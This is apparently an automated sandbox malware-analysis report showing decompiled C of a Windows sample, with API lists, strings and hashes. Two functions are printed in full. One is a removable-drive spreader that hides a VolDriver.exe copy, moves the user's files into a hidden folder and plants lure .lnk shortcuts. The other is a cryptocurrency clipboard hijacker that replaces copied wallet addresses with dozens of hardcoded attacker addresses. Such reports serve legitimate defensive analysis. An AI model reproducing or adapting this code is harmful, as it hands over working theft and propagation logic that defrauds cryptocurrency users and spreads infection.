ShellExecuteW.SHELL32(00000000,open,'b@,00000000,00000000,00000000), ref: 0040D410
Sleep.KERNEL32(000003E8), ref: 0040D42A

Strings

, xrefs: 0040D41F
D, xrefs: 0040D3B4
open, xrefs: 0040D409
'b@, xrefs: 0040D3DF, 0040D405, 0040D3E2, 0040D408

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Sleep$CreateExecuteProcessShellmemset
String ID: $'b@$D$open
API String ID: 2222793131-3177583149
Opcode ID: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction ID: b11808ad886c3be21141a941b9f16766042708721ad172ccf90be75e59fbd376
Opcode Fuzzy Hash: d69509e6999794d924fcff9b845599a7eb41f28983b1475a5e279ebf92cb692e
Instruction Fuzzy Hash: E211FE71E4430CBBEB14DF94DC46BDE7774AB18700F20412AFA09BA2C0D6B55A448B59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404FC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040EE0A();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x415124;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D180( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x4163b8; // 0x0
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x4163c0,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404D70( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404D70( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404E80( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}

0x00404fc8
0x00404fd5
0x00000000
0x00404fd7
0x00404fde
0x00404fe8
0x00404fff
0x0040501f
0x0040503f
0x0040505f
0x00405078
0x0040507e
0x00405090
0x00405099
0x0040509e
0x004050a1
0x004050a7
0x004050b3
0x004050c1
0x004050ce
0x004050ce
0x004050b3
0x004050e3
0x004050f4
0x00405112
0x00405112
0x00405127
0x0040514a
0x0040514a
0x00405127
0x0040515f
0x00405167
0x0040518f
0x00405194
0x00405169
0x00405177
0x0040517c
0x0040517c
0x004051a0
0x004051a0
0x004051ba
0x004051c7
0x0040548f
0x00000000
0x004051cd
0x004051cd
0x004051d7
0x004051e1
0x004051eb
0x004051f5
0x004051ff
0x00405209
0x00405213
0x0040521d
0x00405227
0x00405231
0x0040523b
0x00405245
0x00405255
0x00405261
0x00405267
0x00405271
0x0040527b
0x00405285
0x0040528f
0x004052a3
0x004052c0
0x004052c7
0x004052e2
0x00405308
0x0040530c
0x00000000
0x0040530c
0x004052dc
0x004052dc
0x00405320
0x00405327
0x0040532e
0x00405349
0x0040536f
0x0040538a
0x00405390
0x0040539f
0x004053ac
0x004053b2
0x00000000
0x004053b2
0x00405343
0x00405343
0x004053c9
0x004053df
0x004053fd
0x00405424
0x0040542a
0x00405436
0x00405460
0x00405438
0x00405446
0x0040544b
0x0040544b
0x00405436
0x004053df
0x00000000
0x004053c9
0x00405322
0x00405466
0x0040547a
0x00405489
0x00000000
0x00405489

APIs

_chkstk.NTDLL(?,00405610,?,?,?), ref: 00404FC8
wsprintfW.USER32 ref: 00404FFF
wsprintfW.USER32 ref: 0040501F
wsprintfW.USER32 ref: 0040503F
wsprintfW.USER32 ref: 0040505F
wsprintfW.USER32 ref: 00405078
PathFileExistsW.SHLWAPI(?), ref: 00405088
SetFileAttributesW.KERNEL32(?,00000080), ref: 004050C1
DeleteFileW.KERNEL32(?), ref: 004050CE
PathFileExistsW.SHLWAPI(?), ref: 004050DB
PathFileExistsW.SHLWAPI(?), ref: 004050EC
CreateDirectoryW.KERNEL32(?,00000000), ref: 004050FF
SetFileAttributesW.KERNEL32(?,00000002), ref: 00405112
PathFileExistsW.SHLWAPI(?), ref: 0040511F
CopyFileW.KERNEL32 ref: 00405137
SetFileAttributesW.KERNEL32(?,00000002), ref: 0040514A

Strings

%s\%s, xrefs: 0040537E
shell32.dll, xrefs: 0040516B
%s\%s, xrefs: 004053F1
$QA, xrefs: 00404FDE
%s\%s\VolDriver.exe, xrefs: 00405033
shell32.dll, xrefs: 00405183
%s.lnk, xrefs: 00404FF3
%s\%s, xrefs: 00405013
%s\%s\%s, xrefs: 00405418
%s\*, xrefs: 0040506C
%s\%s, xrefs: 00405053

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
String ID: $QA$%s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
API String ID: 3833403615-723921974
Opcode ID: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction ID: f358d4f12602216a8cf7219611423f3e74dfa0c58bc439e6418ed54077a909fe
Opcode Fuzzy Hash: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction Fuzzy Hash: 2DD18175900218ABCB20DF60DC48FEA77B8FF44305F0485EAE609A6291D7B99BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00403480 Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 771
clipboardstringmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00403480(WCHAR* _a4) {
				int _v8;
				WCHAR* _v12;
				int _v16;
				void* _v20;
				signed char _v21;
				void* _v28;
				signed int _v32;
				signed int _t346;
				signed int _t347;
				void* _t567;

				_v21 = 1;
				_v12 = 0;
				_v20 = 0;
				_v8 = lstrlenW(_a4);
				if(( *_a4 & 0x0000ffff) != 0x30 && ( *_a4 & 0x0000ffff) != 0x54 && ( *_a4 & 0x0000ffff) != 0x33 && ( *_a4 & 0x0000ffff) != 0x74 && ( *_a4 & 0x0000ffff) != 0x62 && ( *_a4 & 0x0000ffff) != 0x31 && ( *_a4 & 0x0000ffff) != 0x58 && ( *_a4 & 0x0000ffff) != 0x44 && ( *_a4 & 0x0000ffff) != 0x4c && ( *_a4 & 0x0000ffff) != 0x72 && ( *_a4 & 0x0000ffff) != 0x68 && ( *_a4 & 0x0000ffff) != 0x51 && ( *_a4 & 0x0000ffff) != 0x52 && ( *_a4 & 0x0000ffff) != 0x4e && ( *_a4 & 0x0000ffff) != 0x6e && ( *_a4 & 0x0000ffff) != 0x41 && ( *_a4 & 0x0000ffff) != 0x6c && ( *_a4 & 0x0000ffff) != 0x7a && ( *_a4 & 0x0000ffff) != 0x71 && ( *_a4 & 0x0000ffff) != 0x63 && ( *_a4 & 0x0000ffff) != 0x34 && ( *_a4 & 0x0000ffff) != 0x38 && ( *_a4 & 0x0000ffff) != 0x53 && ( *_a4 & 0x0000ffff) != 0x61 && ( *_a4 & 0x0000ffff) != 0x6b && ( *_a4 & 0x0000ffff) != 0x69 && ( *_a4 & 0x0000ffff) != 0x66 && ( *_a4 & 0x0000ffff) != 0x65 && ( *_a4 & 0x0000ffff) != 0x6f && ( *_a4 & 0x0000ffff) != 0x47 && ( *_a4 & 0x0000ffff) != 0x45 && ( *_a4 & 0x0000ffff) != 0x55 && ( *_a4 & 0x0000ffff) != 0x42) {
					return 0;
				}
				if(( *_a4 & 0x0000ffff) != 0x30) {
					if(( *_a4 & 0x0000ffff) == 0x31 || ( *_a4 & 0x0000ffff) == 0x33) {
						if(_v8 < 0x19 || _v8 > 0x23) {
							return 0;
						}
					} else {
						if(( *_a4 & 0x0000ffff) != 0x34) {
							if(( *_a4 & 0x0000ffff) != 0x4c) {
								if(( *_a4 & 0x0000ffff) != 0x72) {
									if(( *_a4 & 0x0000ffff) != 0x65) {
										if(( *_a4 & 0x0000ffff) != 0x6e) {
											if(StrStrW(_a4, L"bitcoincash:") == 0) {
												if(StrStrW(_a4, L"cosmos") == 0) {
													if(StrStrW(_a4, L"addr") == 0) {
														if(( *_a4 & 0x0000ffff) != 0x47) {
															if(( *_a4 & 0x0000ffff) != 0x45) {
																if(( *_a4 & 0x0000ffff) != 0x55) {
																	if(( *_a4 & 0x0000ffff) != 0x42) {
																		if(_v8 < 0x15 || _v8 > 0x38) {
																			return 0;
																		} else {
																			goto L107;
																		}
																	}
																	if(_v8 < 9 || _v8 > 0x3c) {
																		return 0;
																	} else {
																		goto L107;
																	}
																}
																if(_v8 == 9) {
																	goto L107;
																}
																return 0;
															}
															if(_v8 == 0x30) {
																_v21 = 0;
															}
															if(_v8 < 9 || _v8 > 0x30) {
																return 0;
															} else {
																goto L107;
															}
														}
														if(_v8 < 9 || _v8 > 0x3c) {
															return 0;
														} else {
															goto L107;
														}
													}
													if(_v8 < 0x3c || _v8 > 0x78) {
														return 0;
													} else {
														goto L107;
													}
												}
												if(_v8 < 0x2a || _v8 > 0x30) {
													return 0;
												} else {
													goto L107;
												}
											}
											if(_v8 < 0x32 || _v8 > 0x38) {
												return 0;
											} else {
												goto L107;
											}
										}
										if(_v8 < 0x28 || _v8 > 0x46) {
											return 0;
										} else {
											goto L107;
										}
									}
									if(_v8 < 0x3c || _v8 > 0x40) {
										return 0;
									} else {
										goto L107;
									}
								}
								if(_v8 < 0x18 || _v8 > 0x32) {
									return 0;
								} else {
									goto L107;
								}
							}
							if(_v8 < 0x1a || _v8 > 0x26) {
								return 0;
							}
						} else {
							if(_v8 != 0x5f) {
								return 0;
							}
						}
					}
					goto L107;
				} else {
					if(_v8 != 0x2a) {
						return 0;
					}
					L107:
					if(StrStrW(_a4, L"bitcoincash:") != 0) {
						_v21 = 0;
					}
					if(StrStrW(_a4, L"ronin:") != 0) {
						_v21 = 0;
					}
					if(StrStrW(_a4, L"nano_") != 0) {
						_v21 = 0;
					}
					if((_v21 & 0x000000ff) != 1) {
						L126:
						if(( *_a4 & 0x0000ffff) == 0x30) {
							_v12 = "0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b";
						}
						if(( *_a4 & 0x0000ffff) == 0x54) {
							_v12 = "THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto";
						}
						if(( *_a4 & 0x0000ffff) == 0x31) {
							_v12 = "1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6";
						}
						if(( *_a4 & 0x0000ffff) == 0x71) {
							_v12 = "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut";
						}
						if(( *_a4 & 0x0000ffff) == 0x58) {
							_v12 = "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL";
						}
						if(( *_a4 & 0x0000ffff) == 0x4c) {
							_v12 = "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX";
						}
						if(( *_a4 & 0x0000ffff) == 0x72) {
							_v12 = "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH";
						}
						if(( *_a4 & 0x0000ffff) == 0x68) {
							_v12 = "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709";
						}
						if(( *_a4 & 0x0000ffff) == 0x51) {
							_v12 = "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU";
						}
						if(( *_a4 & 0x0000ffff) == 0x52) {
							_v12 = "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd";
						}
						if(( *_a4 & 0x0000ffff) == 0x4e) {
							_v12 = "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2";
						}
						if(( *_a4 & 0x0000ffff) == 0x41) {
							_v12 = "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x34) {
							_v12 = "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg";
						}
						if(( *_a4 & 0x0000ffff) == 0x53 && (_a4[1] & 0x0000ffff) == 0x50) {
							_v12 = "SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x61 && (_a4[1] & 0x0000ffff) != 0x64) {
							_v12 = "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x66 && (_a4[1] & 0x0000ffff) == 0x31) {
							_v12 = "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury";
						}
						if(( *_a4 & 0x0000ffff) == 0x6c && (_a4[1] & 0x0000ffff) == 0x73 && (_a4[2] & 0x0000ffff) == 0x6b) {
							_v12 = "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn";
						}
						if(( *_a4 & 0x0000ffff) == 0x7a && (_a4[1] & 0x0000ffff) == 0x69 && (_a4[2] & 0x0000ffff) == 0x6c) {
							_v12 = "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3";
						}
						if(( *_a4 & 0x0000ffff) == 0x65 && (_a4[1] & 0x0000ffff) == 0x72 && (_a4[2] & 0x0000ffff) == 0x64) {
							_v12 = "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw";
						}
						if(( *_a4 & 0x0000ffff) == 0x6b && (_a4[1] & 0x0000ffff) == 0x61 && (_a4[2] & 0x0000ffff) == 0x76 && (_a4[3] & 0x0000ffff) == 0x61) {
							_v12 = "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f";
						}
						if(( *_a4 & 0x0000ffff) == 0x69 && (_a4[1] & 0x0000ffff) == 0x6e && (_a4[2] & 0x0000ffff) == 0x6a) {
							_v12 = "inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym";
						}
						if(( *_a4 & 0x0000ffff) == 0x6f && (_a4[1] & 0x0000ffff) == 0x73 && (_a4[2] & 0x0000ffff) == 0x6d && (_a4[3] & 0x0000ffff) == 0x6f) {
							_v12 = "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj";
						}
						if(( *_a4 & 0x0000ffff) == 0x33) {
							if((_a4[1] & 0x0000ffff) != 0x50) {
								_v12 = "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3";
							} else {
								_v12 = "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x44) {
							if(_v8 != 0x22) {
								if(_v8 == 0x23) {
									_v12 = "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v";
								}
							} else {
								_v12 = "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x74) {
							if((_a4[1] & 0x0000ffff) == 0x31 || (_a4[1] & 0x0000ffff) == 0x32) {
								_v12 = "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn";
							} else {
								if((_a4[1] & 0x0000ffff) != 0x65 || (_a4[2] & 0x0000ffff) != 0x72 || (_a4[3] & 0x0000ffff) != 0x72 || (_a4[4] & 0x0000ffff) != 0x61) {
									_v12 = "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7";
								} else {
									_v12 = "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6";
								}
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x62) {
							if(StrStrW(_a4, L"bnb") != 0) {
								_v12 = "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd";
							}
							if(StrStrW(_a4, L"band") != 0) {
								_v12 = "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr";
							}
							if(StrStrW(_a4, L"bc1") != 0) {
								_v12 = "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg";
							}
						}
						if(StrStrW(_a4, L"ronin:") != 0) {
							_v12 = "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17";
						}
						if(StrStrW(_a4, L"bitcoincash:") != 0) {
							_v12 = "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut";
						}
						if(StrStrW(_a4, L"cosmos") != 0) {
							_v12 = "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4";
						}
						if(StrStrW(_a4, L"addr") != 0) {
							_v12 = "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw";
						}
						if(StrStrW(_a4, L"nano_") != 0) {
							_v12 = "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4";
						}
						if(( *_a4 & 0x0000ffff) == 0x47) {
							if(_v8 != 9) {
								if(_v8 != 0x38) {
									_v12 = "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N";
								} else {
									_v12 = "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE";
								}
							} else {
								_v12 = "G35598989";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x45) {
							if(_v8 == 9) {
								_v12 = "E36963824";
							}
							if(_v8 == 0x30) {
								_v12 = "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x42) {
							if(_v8 != 9) {
								if((_a4[1] & 0x0000ffff) == 0x36 && (_a4[2] & 0x0000ffff) == 0x32 && (_a4[3] & 0x0000ffff) == 0x71) {
									_v12 = "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA";
								}
							} else {
								_v12 = "B36461211";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x55) {
							_v12 = "U33390790";
						}
						_v16 = lstrlenA(_v12);
						if(_v16 != 0) {
							_v28 = GlobalAlloc(0x2002, _v16 + 1);
							if(_v28 != 0) {
								_v20 = GlobalLock(_v28);
								if(_v20 != 0) {
									memcpy(_v20, _v12, _v16 + 1);
									GlobalUnlock(_v28);
									if(OpenClipboard(0) != 0) {
										EmptyClipboard();
										SetClipboardData(1, _v28);
										CloseClipboard();
									}
								}
							}
						}
						return 1;
					} else {
						_v32 = 0;
						while(_v32 < _v8) {
							if(( *_a4 & 0x0000ffff) != 0x31 || (_a4[_v32] & 0x0000ffff) != 0x4f && (_a4[_v32] & 0x0000ffff) != 0x49 && (_a4[_v32] & 0x0000ffff) != 0x6c) {
								_t346 = _v32;
								_push(_a4[_t346] & 0x0000ffff);
								L0040ECB8();
								_t567 = _t567 + 4;
								if(_t346 != 0) {
									L125:
									_v32 = _v32 + 1;
									continue;
								}
								_t347 = _v32;
								_push(_a4[_t347] & 0x0000ffff);
								L0040ECBE();
								_t567 = _t567 + 4;
								if(_t347 != 0) {
									goto L125;
								}
								return 0;
							} else {
								return 0;
							}
						}
						goto L126;
					}
				}
			}

0x00403486
0x0040348a
0x00403491
0x004034a2
0x004034ae
0x00000000
0x00403668
0x00403678
0x00403695
0x004036a6
0x00000000
0x004036ae
0x004036ba
0x004036c3
0x004036e0
0x00403703
0x00403726
0x00403749
0x00403774
0x0040379f
0x004037ca
0x004037ed
0x0040380d
0x00403837
0x00403851
0x0040386c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040386c
0x00403857
0x00000000
0x00403866
0x00000000
0x00403866
0x00403857
0x0040383d
0x00000000
0x00403846
0x00000000
0x0040383f
0x00403813
0x00403815
0x00403815
0x0040381d
0x00000000
0x0040382c
0x00000000
0x0040382c
0x0040381d
0x004037f3
0x00000000
0x00403802
0x00000000
0x00403802
0x004037f3
0x004037d0
0x00000000
0x004037df
0x00000000
0x004037df
0x004037d0
0x004037a5
0x00000000
0x004037b4
0x00000000
0x004037b4
0x004037a5
0x0040377a
0x00000000
0x00403789
0x00000000
0x00403789
0x0040377a
0x0040374f
0x00000000
0x0040375e
0x00000000
0x0040375e
0x0040374f
0x0040372c
0x00000000
0x0040373b
0x00000000
0x0040373b
0x0040372c
0x00403709
0x00000000
0x00403718
0x00000000
0x00403718
0x00403709
0x004036e6
0x00000000
0x004036ee
0x004036c5
0x004036c9
0x00000000
0x004036cb
0x004036d2
0x004036c3
0x00000000
0x0040367a
0x0040367e
0x00000000
0x00403680
0x0040387b
0x0040388c
0x0040388e
0x0040388e
0x004038a3
0x004038a5
0x004038a5
0x004038ba
0x004038bc
0x004038bc
0x004038c7
0x00403960
0x00403969
0x0040396b
0x0040396b
0x0040397b
0x0040397d
0x0040397d
0x0040398d
0x0040398f
0x0040398f
0x0040399f
0x004039a1
0x004039a1
0x004039b1
0x004039b3
0x004039b3
0x004039c3
0x004039c5
0x004039c5
0x004039d5
0x004039d7
0x004039d7
0x004039e7
0x004039e9
0x004039e9
0x004039f9
0x004039fb
0x004039fb
0x00403a0b
0x00403a0d
0x00403a0d
0x00403a1d
0x00403a1f
0x00403a1f
0x00403a2f
0x00403a31
0x00403a31
0x00403a41
0x00403a43
0x00403a43
0x00403a53
0x00403a61
0x00403a61
0x00403a71
0x00403a7f
0x00403a7f
0x00403a8f
0x00403a9d
0x00403a9d
0x00403aad
0x00403ac7
0x00403ac7
0x00403ad7
0x00403af1
0x00403af1
0x00403b01
0x00403b1b
0x00403b1b
0x00403b2b
0x00403b51
0x00403b51
0x00403b61
0x00403b7b
0x00403b7b
0x00403b8b
0x00403bb1
0x00403bb1
0x00403bc1
0x00403bcd
0x00403bd8
0x00403bcf
0x00403bcf
0x00403bcf
0x00403bcd
0x00403be8
0x00403bee
0x00403bfd
0x00403bff
0x00403bff
0x00403bf0
0x00403bf0
0x00403bf0
0x00403bee
0x00403c0f
0x00403c1b
0x00403c29
0x00403c32
0x00403c3c
0x00403c6b
0x00403c62
0x00403c62
0x00403c62
0x00403c3c
0x00403c1b
0x00403c7b
0x00403c8e
0x00403c90
0x00403c90
0x00403ca8
0x00403caa
0x00403caa
0x00403cc2
0x00403cc4
0x00403cc4
0x00403cc2
0x00403cdc
0x00403cde
0x00403cde
0x00403cf6
0x00403cf8
0x00403cf8
0x00403d10
0x00403d12
0x00403d12
0x00403d2a
0x00403d2c
0x00403d2c
0x00403d44
0x00403d46
0x00403d46
0x00403d56
0x00403d5c
0x00403d6b
0x00403d76
0x00403d6d
0x00403d6d
0x00403d6d
0x00403d5e
0x00403d5e
0x00403d5e
0x00403d5c
0x00403d86
0x00403d8c
0x00403d8e
0x00403d8e
0x00403d99
0x00403d9b
0x00403d9b
0x00403d99
0x00403dab
0x00403db1
0x00403dc6
0x00403de0
0x00403de0
0x00403db3
0x00403db3
0x00403db3
0x00403db1
0x00403df0
0x00403df2
0x00403df2
0x00403e03
0x00403e0a
0x00403e1e
0x00403e25
0x00403e31
0x00403e38
0x00403e49
0x00403e55
0x00403e65
0x00403e67
0x00403e73
0x00403e79
0x00403e79
0x00403e65
0x00403e38
0x00403e25
0x00000000
0x004038cd
0x004038cd
0x004038df
0x004038f0
0x00403926
0x00403930
0x00403931
0x00403936
0x0040393b
0x0040395b
0x004038dc
0x00000000
0x004038dc
0x0040393d
0x00403947
0x00403948
0x0040394d
0x00403952
0x00000000
0x00000000
0x00000000
0x0040391f
0x00000000
0x0040391f
0x004038f0
0x00000000
0x004038df
0x004038c7

APIs

lstrlenW.KERNEL32(00000000), ref: 0040349C
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 0040376C
StrStrW.SHLWAPI(00000000,cosmos), ref: 00403797
StrStrW.SHLWAPI(00000000,addr), ref: 004037C2
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00403884
StrStrW.SHLWAPI(00000000,ronin:), ref: 0040389B
StrStrW.SHLWAPI(00000000,nano_), ref: 004038B2
isalpha.NTDLL ref: 00403931
isdigit.NTDLL ref: 00403948
StrStrW.SHLWAPI(00000000,bnb), ref: 00403C86
StrStrW.SHLWAPI(00000000,band), ref: 00403CA0
StrStrW.SHLWAPI(00000000,bc1), ref: 00403CBA
StrStrW.SHLWAPI(00000000,ronin:), ref: 00403CD4
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00403CEE
StrStrW.SHLWAPI(00000000,cosmos), ref: 00403D08
StrStrW.SHLWAPI(00000000,addr), ref: 00403D22
StrStrW.SHLWAPI(00000000,nano_), ref: 00403D3C
lstrlenA.KERNEL32(00000000), ref: 00403DFD
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 00403E18
GlobalLock.KERNEL32 ref: 00403E2B
memcpy.NTDLL(00000000,00000000,-00000001), ref: 00403E49
